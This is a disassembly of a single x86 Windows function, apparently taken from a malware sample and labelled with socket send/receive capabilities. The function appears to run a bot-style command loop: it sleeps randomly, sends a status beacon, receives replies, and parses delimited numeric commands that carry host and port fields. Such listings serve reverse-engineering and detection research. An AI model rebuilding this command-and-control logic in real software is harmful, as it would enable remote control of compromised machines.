Function at 0x40a140
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x354
push ebx
push ebp
push esi
push edi
mov ebp, ecx
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xfa0
idiv ecx
add edx, 0x1388
push edx
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
push 0
push 0
lea esi, [ebp + 0x804]
push 0
push 0x7d1
push esi
call fcn.004022e0
add esp, 0x18
lea edx, [ebp + 0xc44]
lea eax, [ebp + 0xc54]
lea ecx, [esp + 0x24]
push edx
push eax
push str._s__s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
lea ebx, [ebp + 0x810]
push 0x20
push ebx
push esi
call fcn.00402280
mov eax, dword [ebp + 0xc50]
add esp, 0x1c
cmp eax, 9
jl 0x40a1ca
mov dword [ebp + 0xc50], 1
jmp 0x40a1d1
inc eax
mov dword [ebp + 0xc50], eax
lea edx, [esp + 0x24]
test edx, edx
je 0x40a224
lea edi, [esp + 0x24]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp + 0x830]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x400
push ecx
lea eax, [esp + 0x2c]
push edx
push eax
call fcn.00401bb0
mov ecx, dword [ebp + 0xc50]
add esp, 0x10
lea eax, [ebp + 0x830]
lea esi, [ebp + 4]
push eax
push ebx
push ecx
push str._d_s_s_
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
jmp 0x40a23e
mov edx, dword [ebp + 0xc50]
push ebx
lea esi, [ebp + 4]
push edx
push str._d_s_
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov edx, dword [ebp + 0xc60]
cmp edx, 0xffffffff
je 0x40a27c
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x40a27c
mov eax, dword [ebp + 0xc60]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp + 0xc60], 0xffffffff
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, dword [ebp + 0xc60]
mov ebx, dword [sym.imp.WS2_32.dll_recv]
lea esi, [ebp + 0x404]
push 0
push 0x400
push esi
push ecx
call ebx
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
push str._____KX________
push esi
mov byte [eax + ebp + 0x404], 0
call edi
add esp, 8
test eax, eax
jne 0x40a4c1
push str._X________
push esi
call edi
add esp, 8
test eax, eax
jne 0x40a4c1
push 0x40e6e8
push esi
call edi
add esp, 8
test eax, eax
jne 0x40a308
mov ecx, 0x100
mov edi, esi
rep stosd dword es:[edi], eax
mov edx, dword [ebp + 0xc60]
push eax
push 0x400
push esi
push edx
call ebx
mov byte [eax + ebp + 0x404], 0
push 0x23
push esi
mov esi, dword [sym.imp.MSVCRT.dll_strchr]
call esi
mov ebx, eax
add esp, 8
test ebx, ebx
mov dword [esp + 0x14], ebx
je 0x40a4c1
push 0x21
push ebx
call esi
add esp, 8
mov dword [esp + 0x10], eax
test eax, eax
je 0x40a4c1
mov eax, dword [esp + 0x10]
inc ebx
lea ecx, [esp + 0x18]
push ebx
push ecx
mov byte [eax], 0
call fcn.004022c0
mov edx, dword [esp + 0x24]
add esp, 8
and edx, 0xffff
lea eax, [edx - 0x1f5]
cmp eax, 0x1d
ja case.0x40a36f.501
xor ecx, ecx
mov cl, byte [eax + 0x40a4e4]
jmp dword [ecx*4 + 0x40a4d0]
lea edx, [esp + 0x64]
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x64]
push 0x100
add ebx, 0x10
push edx
push ebx
rep stosd dword es:[edi], eax
call fcn.00402190
lea eax, [esp + 0x70]
push 0x2f
push eax
call esi
mov ebx, eax
add esp, 0x14
test ebx, ebx
je case.0x40a36f.501
mov byte [ebx], 0
inc ebx
push 0x2f
push ebx
call esi
add esp, 8
test eax, eax
je case.0x40a36f.501
mov byte [eax], 0
lea edi, [esp + 0x64]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp + 0xc30]
mov eax, ecx
mov esi, edi
mov edi, edx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll_atoi]
mov ecx, dword [esp + 0x1c]
add esp, 4
mov dword [ebp + 0xc40], eax
mov dword [ebp + 0xc64], ecx
jmp 0x40a47f
lea edx, [esp + 0x164]
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x164]
push 0x200
add ebx, 0x10
push edx
push ebx
rep stosd dword es:[edi], eax
call fcn.00402190
lea eax, [esp + 0x170]
push 0x2f
push eax
call esi
mov edx, eax
add esp, 0x14
test edx, edx
je case.0x40a36f.501
lea edi, [esp + 0x164]
or ecx, 0xffffffff
xor eax, eax
mov byte [edx], 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea ebx, [ebp + 0xc30]
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
push edx
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
mov dword [ebp + 0xc40], eax
mov esi, dword [sym.imp.MSVCRT.dll_strchr]
mov ecx, dword [esp + 0x10]
lea eax, [ecx + 1]
mov cl, byte [ecx + 1]
cmp cl, 0x23
jne 0x40a498
mov dword [esp + 0x14], eax
mov ebx, dword [esp + 0x14]
push 0x21
push ebx
call esi
add esp, 8
mov dword [esp + 0x10], eax
test eax, eax
je 0x40a4c1
jmp 0x40a338
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x354
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x354
ret